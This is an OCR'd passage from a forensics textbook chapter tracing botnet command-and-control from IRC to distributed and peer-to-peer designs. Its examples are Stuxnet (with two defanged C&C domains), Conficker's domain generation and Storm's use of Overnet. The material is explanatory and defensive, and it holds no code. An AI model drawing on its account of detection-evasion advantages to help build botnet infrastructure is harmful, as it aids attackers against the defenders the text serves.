upgraded to AES 128-bit and RSA 1,024-bit encryption (along with Base64 encoding).!®

12.1.3 Distributed Command-and-Control Systems

Early on, attackers realized that maintaining control of a compromised host was both chal-
lenging and also very important. With ongoing access facilitated by C&C channels, malware
authors could use compromised hosts for a wide variety of purposes, and adapt on-the-fly
as needed. Today, botherders have such excellent control over their networks that many are
able to segment and sell botnets, easily transferring control to third parties.

In this section, we follow the evolution of C&C channels from simple, direct connections
with central servers (i.e., IRC) to highly complex, distributed, redundant multilayer systems
with built-in security features.

12.1.3.1 The Early Days: Internet Relay Chat (IRC)

Early botnets relied upon centralized control systems in which compromised agents commu-
nicated directly with a small group of central servers. Internet Relay Chat (IRC) has been a
very common mechanism for malware command-and-control since the emergence of worms
such as “Pretty Park” in 1999. Malware was hard-coded with server IP addresses or domain
names, as well as IRC channel information, and then infected systems connected back to
the central servers to drop off information about infected systems and/or receive commands
and updates.

9. Joe Stewart, “The Changing Storm,” Dell Secure Works, October 14, 2007, http://www.secureworks.com/
research/blog/index.php/2007/10/15/the-changing-storm/.

10. G. Sinclair, C. Nunnery, and B.B.H. Kang, “The Waledac Protocol: The How and Why,” in Ma-
licious and Unwanted Software (MALWARE), 2009 4th International Conference, 2010, 6977, http://
isr.uncc.edu/paper/WaledacProtocolHowWhyMalware2009 _remediation.pdf.
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12.1.3.2 Drawbacks of Centralized C&C

Of course, centralized command-and-control channels had some major drawbacks for mal-
ware developers. They made it very easy for forensic analysts and security professionals
to identify and track down compromised systems. Local organizations could simply alert
on connection attempts to specific IP addresses or domains and block them, crippling
the botnet. ISPs could shut down central command-and-control servers on their networks.
Especially to the extent that IRC—a plain-text communications protocol—was being used,
it was fairly straightforward to inspect, detect, and block that channel’s abuse. (Within
most organizations, IRC is really only used by botnets, with few users engaged in anything
remotely legitimate via that protocol.)

The Stuxnet worm, which targets industrial control systems primarily in Iran, is an
excellent example of how a sophisticated worm can be crippled due to reliance on a central-
ized command-and-control system. As described by researchers at Symantec:

[The Stuxnet agent] contacts the command and control server on port 80 and
sends some basic information about the compromised computer to the attacker
via HTTP. Two command and control servers have been used in known samples:

www|.Jmypremierfutbol[.]Jcom
www|.]Jtodaysfutbol[.]Jcom

The two URLs above previously pointed to servers in Malaysia and Denmark;
however they have since been redirected to prevent the attackers from controlling
any compromised computers.

Symantec set up sensors in July 2010 to track connection attempts back to Stuxnet
command-and-control servers. Interestingly, in August 2010 they noted a sudden drop in
newly infected connection attempts from Iran, as shown in Figure 12-1. “Looking at newly
infected IP addresses per day, on August 22 we observed that Iran was no longer report-
ing new infections. This was most likely due to Iran blocking outward connections to the
command-and-control servers, rather than a drop-off in infections.” This illustrates how
forensic analysts and security professionals can disrupt the operations of botnets—and other
forensic analysts—simply by identifying and blocking known ports, IP addresses, and do-
mains used for central command-and-control. !

12.1.3.3 Evolution Toward Distributed C&C

Newer botnets have been moving toward a partially distributed, rather than fully central-
ized, command-and-control architecture. In the distributed command-and-control model,
individual endpoint agents do not connect directly back to a central server. Rather, they
connect to servers in a redundant, distributed network. Distributed models typically involve
a multilevel hierarchy so that systems at each level communicate with each other, and at
least some systems in each level can communicate with systems in the level above. Using a

11. N. Falliere, L. Murchu, and E. Chien, “W32.Stuxnet Dossier: Version 1.4 (February 2011),” Syman-
tec, 2011, http://www.symantec.com/content/en/us/enterprise/media/security _response/whitepapers/w32
_stuxnet_dossier.pdf.
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Rate of Stuxnet infection of new IPs by Country
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Figure 12-1. A chart from Symantec’s “W32.Stuxnet Dossier,” which illustrates a sudden drop
in reported newly infected connection attempts from Iran (black). The infections were tracked
based on connections to central C&C servers, which were likely blocked by Iran on August
22, 2010.'? Reprinted with permission. [Note: Image colors have been modified to print in
grayscale.]

distributed model, attackers can send commands and updates from a relatively small num-
ber of central servers to thousands or millions of compromised hosts, and the compromised
hosts can pass information back up the chain with far greater redundancy and lower risk of
detection/disruption.

12.1.3.4 Advantages of Distributed C&C
Distributed C&C offers the following advantages:

e Redundancy—If a C&C server is blocked or shut down, the functionality of the botnet
is not affected.

e Detection Evasion—It is more difficult for forensic analysts to detect distributed C&C
traffic. Centralized C&C traffic can be captured and analyzed at the perimeter of
a LAN, where enterprises tend to focus monitoring resources, whereas a far greater
percentage of decentralized C&C traffic is contained within a LAN and may never
reach the perimeter firewall/IDS. Furthermore, organizations that track infections
Internet-wide may never see evidence of internal botnet nodes, which communicate
only between themseves. The Stuxnet worm actually incorporated some distributed
C&C traffic in order to enable infections and updates of compromised hosts on internal
LANSs. Distributed C&C traffic is also less likely to generate a spike in traffic relating
to a few systems, which commonly trigger alerts.

12. Ibid.
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o Attacker Concealment—Distributed C&C channels make it far more difficult to track
attacks back to central servers, since compromised endpoint nodes do not directly
communicate back to central servers. In the mid-2000s, authorities such as the FBI
began to investigate and prosecute botherders as part of coordinated programs in-
cluding “Operation: Bot Roast.” These legal actions provided greater incentives for
attackers to place more layers of indirection in between themselves and compromised
botnet endpoints.!3 14

o Asymmetry—Distributed C&C peers can result in a sufficiently “meshed network”
that the defender’s containment and eradication efforts are reduced to a frustrating
and ineffective game of “Whac-A-Mole.” Small levels of effort on the attacker’s part
can necessitate a disproportionate level of effort from the responders. Depending on
the scale, this can be a game-changing element.

For example, the Downadup worm (also known as Conficker), which was capable of self-
updating, responded to defense mechanisms by evolving increasingly distributed and dy-
namic C&C systems. The initial infections of W32.Downadup.A contacted one of 250 pseu-
dorandom domains in five top-level domains each day for updates. Later, W32.Downadup.B
expanded the number of top-level domains to eight.

With the update to W32.Downadup.C, the worm significantly changed its strategy for
registering and querying domain names for use when downloading new instructions. This
made it far more difficult for security professionals to alert upon and track its spread.
As described by Porras et al. (SRI International) in their analysis of Conficker, “C further
increases Conficker’s top-level domain (TLD) spread from five TLDs in Conficker A, to eight
TLDs in B, to 110 TLDs that must now be involved in coordination efforts to track and
block C’s potential DNS queries. With this latest escalation in domain space manipulation,
C ... represents a significant challenge to those hoping to track its census.” 1?

This was a classic example of asymmetric warfare, in that the malware author had only
to recode his or her instruction set to expand the array of TLDs to be searched, and to
redistribute. The result was an order-of-magnitude increase in effort required by human
responders in order to identify and contain a threat that was largely automated.

News headlines in April 2009 reported that “Experts Bicker Over Conficker Numbers: Is
it 4.6 million infected PCs or not?” ' The number of infected systems became increasingly
difficult to estimate as the malware evolved. “The Working Group got its data by setting up
‘sinkhole’ servers at points on the Internet used by infected machines to download instruc-
tions,” reported Bob McMillan of the IDG News Service. “They did this by taking over the
Internet domains that Conficker is programmed to visit to search for those instructions. . ..
To complicate matters further, a new variant of Conficker was spotted last week, and this

13. C. Schiller et al, InfoSecurity 2008 Threat Analysis (Burlington, MA: Elsevier, 2008), 19.

14. Dan Goodin, “FBI Logs its Millionth Zombie Address,” The Register, June 13, 2007, http://www
.theregister.co.uk/2007,/06,/13/millionth_botnet_address/.

15. Phillip Porras, Hassen Saidi, Vinod Yegneswaran, “An Analysis of Conficker C,” SRI International,
March 8, 2009, http://mtc.sri.com/Conficker/addendumC/.

16. Robert McMillian, “Experts Bicker Over Conficker Numbers,” Techworld, April 15, 2009, http://news
.techworld.com/security /114307 /experts-bicker-over-conficker-numbers/.
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one communicates primarily using peer-to-peer techniques, which are not easily measured
by the Working Group’s sinkhole servers.”

12.1.3.5 Peer-to-Peer C&C

The Storm worm took distributed command-and-control to new extremes. Designed from
the start with a distributed, multilayer model, Storm incorporated the Overnet/eDonkey
peer-to-peer filesharing protocol for distributed, dynamic C&C between endpoint nodes. Joe
Stewart, Director of Malware Research at Dell SecureWorks, wrote, “When Storm Worm
runs, it attempts to link up with other infected hosts via peer-to-peer networking. Through
this conduit it gets a URL that points to a second-stage executable, which in turn down-
loads additional stages onto the infected system. The protocol in use is actually the eDon-
key/Overnet pr